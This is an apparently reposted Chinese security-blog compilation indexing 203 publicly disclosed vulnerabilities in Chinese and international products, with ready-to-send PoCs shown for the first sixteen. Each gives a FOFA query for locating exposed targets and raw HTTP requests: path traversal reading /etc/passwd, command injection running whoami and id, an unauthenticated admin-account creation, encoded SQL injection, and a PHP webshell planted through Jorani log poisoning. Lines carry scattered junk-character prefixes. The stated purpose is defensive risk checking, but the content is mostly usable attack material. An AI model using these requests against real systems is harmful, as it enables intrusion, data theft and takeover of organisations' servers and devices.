互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
5 [- M/ _4 Y4 @9 b+ P6 U道一安全 2024-06-05 07:41 北京
- s& f9 t5 \$ X7 o$ s4 ^3 ?以下文章来源于网络安全新视界 ，作者网络安全新视界
4 y7 z! W) E6 ~, v
2 F' C& \# R8 {' K1 B' s% h% i发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

2 U' d& o) g6 D; v1 l, L4 Z% `漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
7 H! {$ h9 u) [: F* k" s0 p, v
# C9 Z2 c1 l, Q- l% w3 e安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

* z+ t  M1 N! T5 \, n合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
+ I% w8 ]3 W3 p! A' {: V' x

声明

为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
, S/ q: k, [, P) I6 g
有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。

: _! Z' x' _' T- K" M
/ n' ~; ]2 g1 I1 O
目录

01

! K' |& w: p6 d" s1. StarRocks MPP数据库未授权访问
5 X0 F" s9 s0 d/ V0 C2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
- b+ z/ f2 H% N5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
: A' B5 n+ ~- U7 _( U4 D- r' e9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
6 Z# c  Y. t, b2 f11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
& v0 p, o" X3 [) l12. Jorani < 1.0.2 远程命令执行
% b. W8 O3 [3 H* _) o, x, |# V* g13. 红帆iOffice ioFileDown任意文件读取
5 ~; R$ i, n* L7 o6 y14. 华夏ERP（jshERP）敏感信息泄露
$ z, H7 s$ L+ ^2 j, v15. 华夏ERP getAllList信息泄露
7 y4 a3 q# E% _16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
2 F3 i* T: h# P1 g& j18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
+ x- L6 t+ g7 l19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
" T& e7 j  X$ o7 B8 `" M$ I; g21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
. d9 B" z) B) w1 V5 y1 L. s; J8 B23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
. i5 f% h! J) s: Z25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
( t* q; R  N+ P; z2 Z6 J29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
" ]+ c$ _$ b$ k1 a" S) x" b( |+ n31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
0 L6 J( f6 n( Y, r6 @35. 用友NC-Cloud importhttpscer任意文件上传
1 s/ T8 R: v7 L7 `) G( Y36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
% A1 G3 ~4 V1 g' ^1 B39. 用友U8 Cloud RegisterServlet SQL注入
# Z: |1 F' S+ n. a40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
4 E1 R, L3 l; Q, g43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
& j- u/ J0 X  c/ W( k7 Y2 c46. 用友GRP-U8 sqcxIndex.jsp SQL注入
. f) V3 E& y/ l" k% K6 H47. 用友GRP A++Cloud 政府财务云 任意文件读取
. t4 y. r$ i0 ^0 K7 N48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
% ^7 P& k3 W4 H. ~) e1 m! l- ]53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
, G: n: w7 _: l2 J56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
2 N8 t7 }3 l/ n. c1 z" r57. 畅捷通T+ keyEdit.aspx SQL注入
, R: a% c9 |! [& a9 l58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
7 B9 |! U  I5 D6 g1 I) `62. IP-guard WebServer 远程命令执行
  `) V  k3 y# b, ?! Y" Q. \( p63. IP-guard WebServer任意文件读取
; p8 r# u8 C! L' s! Z2 k# ~) K+ J64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
5 \7 S  r$ d1 o66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
9 _3 a( h, w) w- b% E/ s& S! s6 b74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
# y7 }# ]) c! Z# X( H5 r76. 新开普掌上校园服务管理平台service.action远程命令执行
* Y7 N" m, Q0 |7 T8 g* C77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
/ r: F8 [4 I% d80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
; A) i2 o# u5 s6 y82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
; Y3 Z4 ?/ A- u9 X# a, `& ~83. JeecgBoot testConnection 远程命令执行
' ]' {* C- z: {2 f+ i# ?5 |$ F( [/ G84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
  @. B2 |4 @/ `& m1 s$ d2 Q85. SysAid On-premise< 23.3.36远程代码执行
* i; C0 `; r' f/ \; h# |86. 日本tosei自助洗衣机RCE
, [! _9 b& i/ ?/ Q3 i% y87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
: B& z6 u2 p$ s7 ^$ t6 \89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
' @  u/ K; T# X6 E8 L/ T91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
- U' \- h& }9 V. v+ F- i/ d3 y. x92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
! \4 o5 ]+ M0 K: k3 B4 U95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
& n4 i( o* z; `96. Apache OFBiz  18.12.11 groovy 远程代码执行
& c+ D" a* c4 x& L! \$ T$ C; T97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
# u' k' v. C0 t  c) @3 F98. SpiderFlow爬虫平台远程命令执行
9 [6 s& Z2 [( W) ~99. Ncast盈可视高清智能录播系统busiFacade RCE
( U% j: H: S; l1 }' \: ?100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
. ]2 u! E# @* v& ~3 D105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
# {: Z2 ^: p8 ]4 f# f107. SpringBlade tenant/list SQL 注入
8 Z2 s! w- E( z108. D-Tale 3.9.0 SSRF
+ Y3 o6 z1 J4 l( z8 H& a109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
% b% ~; Z+ F8 A' J+ T! L111. WordPress Plugin HTML5 Video Player SQL注入
8 m& S4 s% U+ n5 E! ^112. WordPress Plugin NotificationX SQL 注入
/ [! m2 }3 r+ r+ g113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
5 k! I' T- G; O; M3 _0 V( l118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
4 `% T2 j- z) M6 c119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
. S9 P1 ?  J4 H( J) ~7 |* `2 V122. 北京百绰智能s200管理平台/importexport.php sql注入
% }- q. B, d% z* T/ R123. Atlassian Confluence 模板注入代码执行
& `' X: U* k& L& b) J124. 湖南建研工程质量检测系统任意文件上传
' A+ K) j6 D! `1 f/ ^125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
0 t0 {# Y  T* f( G- o/ {* W/ [128. Adobe ColdFusion 反序列化
1 J4 L6 m. t% V  x; r( S/ S# M) z129. Adobe ColdFusion 任意文件读取
3 F9 S8 m3 c% y1 c130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
! p3 r0 X- u9 q3 _9 x& o1 H' l: v132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
' Z, z2 ?" o0 f, t) J5 }; j135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
+ ^* O1 ?4 p" ~& z2 v136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
. |+ \# U- m9 K7 _138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
( w, w: V3 X! ^8 n3 u139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
, p: |" W( _+ E! x144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
6 a. _( d  |8 s) \146. MajorDoMo thumb.php 未授权远程代码执行
; C1 _$ y( S* w7 c147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
( P% s+ x5 n$ \8 C) Q8 {148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
$ E0 O% ^. |7 b9 f8 }2 o152. Progress Kemp LoadMaster 远程命令执行
( [: x- r, I: q: t153. gradio任意文件读取
3 J1 n1 s! I9 v1 L154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
1 O4 N) K2 Z0 s2 k" ]. A! v156. TBK DVR-4104/DVR-4216 操作系统命令注入
. j( K4 T! T; z$ j* v0 \6 p157. 美特CRM upload.jsp 任意文件上传
% c; v/ t% g2 U# R! D- W# u8 K158. Mura-CMS-processAsyncObject存在SQL注入
2 D, C" r: W, z159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
# _9 L6 @. h+ J! b) ]& A+ s" f% V163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
- r4 M, F% R# J; Z7 n: u) v164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
0 ~( D/ l; h: N& {+ f, ]( }165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
6 c' E, H6 n& f/ D6 ~  c8 z! ]167. 精益价值管理系统 DownLoad.aspx任意文件读取
( }! @" t# E4 p! C' U168. 宏景EHR OutputCode 任意文件读取
+ |9 L% {! Q, t! a3 S1 E169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
7 o6 I$ \5 e# z# @! X. u% F# y171. 通天星CMSV6车载定位监控平台 SQL注入
8 \, }, j2 w% S1 D( o172. DT-高清车牌识别摄像机任意文件读取
8 s) s- @$ J) q; K, P" X2 w173. Check Point 安全网关任意文件读取
3 {# V$ j7 c+ i# W6 Y174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
% I- T& A  Y! B& B3 O4 ]* {177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
. d8 A: h1 V4 Q7 ^180. 帮管客 CRM jiliyu SQL注入
5 u1 E4 s: Y' ~1 `/ _181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
8 c  g1 j: _+ j- o/ Z7 Z+ Z185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
5 m8 v2 W* V' R+ J- L187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
6 C& O& e' b2 O3 h1 T189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
9 e4 u5 y! N: P192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
& |6 ^- U5 c# P, i, F$ P+ E5 }+ T' ]193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
) Y# e9 y  d) [( J% g194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
4 {, }6 G1 B. x: ?195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
, B4 o4 i$ r  W! t! @  }9 B. m% R. v* O196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
- t# s6 p( f- a8 z+ R  f199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
1 u. Z6 _1 S3 r202. 微擎系统 AccountEdit任意文件上传
) m$ v; Y: a; i+ m+ U" m) \/ A, A203. 红海云EHR PtFjk 文件上传

POC列表
7 I) C0 f6 a8 b" j
02

4 c! J5 r$ c0 ~1 j$ F1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
Host: URL


& v! A" q# @0 ~, v0 P+ L2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
8 x9 {; b) t2 ?! i1 @9 UHost: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
$ U3 B: V% u+ YAccept-Language: en
Accept-Encoding: gzip
, x" D$ p( F, ~

3. EasyCVR智能边缘网关 userlist 信息泄漏
, ~9 S% ?: j2 B) rFOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx

7 v! U5 C0 Q) p. b) `
* X) Q" `* }# \4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"

password更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
+ L4 T$ ?* a" x8 ~- `# {: w
: A/ G: d. U- h* s
: P& y- h8 w  P5 ~+ w5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
' r) c& U, r* F* K- P( EGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx
0 D+ u; t4 R3 V; T. l

" U- o5 m; M1 N+ d6. 深信服 NGAF 任意文件读取
. ^8 @" K7 i6 l& Q/ p; ^; HFOFA：title="SANGFOR | NGAF"
; _. d, m, J- R/ J9 ^0 IGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
/ k, h5 c8 ?, e/ D+ C4 f0 RHost:
1 F( _/ K8 R4 ]( k9 W) U
, e1 D: @4 [6 k9 {
1 ?- ~9 c4 c0 W9 P* W( T7. 鸿运主动安全监控云平台任意文件下载
0 h0 ^) m$ [2 r4 I/ H+ A  RFOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:
$ A5 Q& v" ^/ i4 e- ?+ o: S
2 s$ x" A5 w8 D: b- i
( v4 o4 K- m8 I2 h3 Y8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
6 W3 t: p5 E) z" H/ M7 jHost: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
  s; |7 S7 j4 `% k8 O& r" B0 }Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
& |% u2 c( `3 A/ NUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
* S7 p8 v$ t0 c9 `; m( a# @$ c7 B
------WebKitFormBoundaryxbgjoytz
% P# r$ d. L/ Q7 X7 C4 v9 q, IContent-Disposition: form-data; name="wifiRebootEnablestatus"

2 ?2 S9 @/ @  I2 ?%s
4 @* [% K  C& e! ~) N------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"

12:00; id;
9 A% z' P$ Z& d8 B) Z% ^. \% Q  j  w7 ]------WebKitFormBoundaryxbgjoytz
& i, {* J4 W' m3 \$ z" ]8 qContent-Disposition: form-data; name="wifiRebootendrange"

3 W% M, y/ L& P4 b: w%s:
------WebKitFormBoundaryxbgjoytz
: C  W4 g9 N" e2 D* Z2 V4 OContent-Disposition: form-data; name="cururl2"
1 m# e" I) F' ]" S4 y

( x- ^& T# m  q. ~" @------WebKitFormBoundaryxbgjoytz--
( X' v1 B9 L# l0 e% ]
- E6 z0 n) }! }1 h- L" w/ I
( v% H: @/ n/ @9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x
) m/ \6 Y* E2 E% i# E- K
/ Y' `- ]& O2 M7 t
payload为下列语句的二次Url编码

' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
( {1 |- {7 U! a6 [1 O- [FOFA：icon_hash="953405444"

, T' C2 w5 B; s7 ]0 x; Y文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
- l8 }3 Z; _: H) `. ^: g" CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
6 \$ R7 y" l3 w6 L  c: }# S7 C2 U3 UContent-Length: 197
; W8 L% B# b& N2 e. NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
# X9 l# |. z; L5 Q/ GAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
! ]: U  U( I2 e& l& Y' P1 bConnection: close
8 B6 A  v4 d+ i5 T- o; WContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

2 W' l+ U, S( e) I- [4 p" C------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html

4 h: u2 A9 E& E( h4 E) d7 X2 ljmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--
7 T0 I; V  S# d9 \) ~
6 _6 |$ ^8 o2 E
4 x5 x5 d+ p3 Q11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
9 F5 w' z& D& R) VGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
9 ?( i( ]+ B! _: G5 S7 gHost: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
9 u4 _4 r9 i$ g/ l+ ]/ r: S; tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
/ g4 Y- J3 D. v: J6 n% n- WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
9 z! ^+ @) @$ y" A* g3 q$ @Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
3 e% m1 ^  \: Q5 w4 V
) t$ Z; O0 [9 E  t' U+ h
9 u4 Y9 l, b: e0 Z. D- Q12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
第一步先拿到cookie
4 k% \$ i; f# J! U+ u/ z2 zGET /session/login HTTP/1.1
" a: J* f: o; n+ X& m+ o+ OHost: 192.168.190.30
7 ?0 V! \. v* b* J; ~! S$ A; VUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Accept-Encoding: gzip


% z) j; t8 b# {% q+ d; T8 n响应中csrf_cookie_jorani用于后续请求
0 I1 _5 `% {3 z3 H2 y' [HTTP/1.1 200 OK
Connection: close
1 \3 F, r  U2 x: [: eCache-Control: no-store, no-cache, must-revalidate
& N. b. p/ X0 G+ Q# b4 M- F2 z, yContent-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
: A: l( s$ X$ Q6 R& }Expires: Thu, 19 Nov 1981 08:52:00 GMT
+ F, y& [, ^9 g6 JLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
' r; z9 }+ _4 C# `7 h0 D/ rPragma: no-cache
Server: Apache/2.4.54 (Debian)
: j! g4 c+ u2 F% I! }Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding


POST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 252
Content-Type: application/x-www-form-urlencoded
3 F. |$ y& v, |: ~5 F; cCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
$ e% q% ~; {4 s6 e/ a( bAccept-Encoding: gzip
/ ?9 J4 t8 o' ~3 N
. Y8 x) @0 {; p. p# mcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

- F9 ^" ^7 d2 P% I8 b% d5 H

/ `) a$ F! f0 P+ M) w向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
& t: c9 N! d" k  o8 `2 I" `) m( NHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
" i6 w3 P4 G6 S+ BX-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip


3 E' l* p8 q; E! B! g; D* `( v13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
) c+ z9 @7 D7 c$ v6 m, @3 h# e1 zGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
4 T( A: h: U0 W- `- [0 K6 tHost: x.x.x.x
, `8 P3 k1 r$ L3 R1 B' w/ i( vUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
% i9 I$ `+ [( g4 Q& W2 bConnection: close
Accept: */*
2 a. ^- o9 J! ~2 h4 L5 }8 f! c1 h4 lAccept-Encoding: gzip


14. 华夏ERP（jshERP）敏感信息泄露
$ ~* u/ l2 n9 p0 j- |FOFA：body="jshERP-boot"
泄露内容包括用户名密码
1 e5 H' u6 H2 N* h2 X4 ^3 sGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
. X- z, ^6 m) ?) W) LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
" z3 O, J- B. r1 r) f* ~Accept: */*
7 }( M% J& Z& |. pAccept-Language: en
2 M! \$ W' d& m1 ZAccept-Encoding: gzip

9 K% t6 F& k2 B5 r
1 i5 B6 o$ ^6 y6 `& u15. 华夏ERP getAllList信息泄露
CVE-2024-0490
) B0 b. r% ?8 x( YFOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
$ E  u  J* t: y6 G; |3 qHost: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
1 Y, x8 ?3 s& bsec-ch-ua-platform: Windows
Accept-Encoding: gzip
; M4 W  |7 w% I) R( X' G

16.  红帆HFOffice医微云SQL注入
! ~' r8 e  E# i% z3 U" E& lFOFA：title="HFOffice"
poc中调用函数计算1234的md5值
